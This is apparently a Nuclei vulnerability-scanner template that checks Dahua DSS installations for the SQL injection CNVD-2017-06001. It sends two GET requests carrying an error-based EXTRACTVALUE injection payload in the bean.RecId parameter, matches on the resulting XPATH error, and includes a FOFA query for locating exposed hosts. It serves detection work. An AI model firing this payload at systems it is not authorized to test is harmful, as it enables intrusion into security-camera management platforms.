id: CNVD-2017-06001

info:
  name: Dahua DSS - SQL Injection
  author: napgh0st,ritikchaddha
  severity: high
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2017-06001
  metadata:
    verified: true
    max-request: 2
    fofa-query: "app=\"dahua-DSS\""
  tags: cnvd,cnvd2017,sqli,dahua
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/attachment_clearTempFile.action?bean.RecId=1') AND EXTRACTVALUE(534543,CONCAT(0x5c,md5({{num}}),0x5c)) AND ('n72Yk'='n72Yk&bean.TabName=1"
      - "{{BaseURL}}/portal/attachment_getAttList.action?bean.RecId=1') AND EXTRACTVALUE(534543,CONCAT(0x5c,md5({{num}}),0x5c)) AND ('n72Yk'='n72Yk&bean.TabName=1"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "XPATH syntax error:"
          - "c8c605999f3d8352d7bb792cf3fdb25"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009d15b000d80fc9bdd99bc9d9dbd9bc62a1a3ff51eb40d061131b8df0bf3f9829022065780281ab46274279125e664f9fcec0e82c28bef6470e33242ed62eca372d67:922c64590222798bb761d5b6d8e72950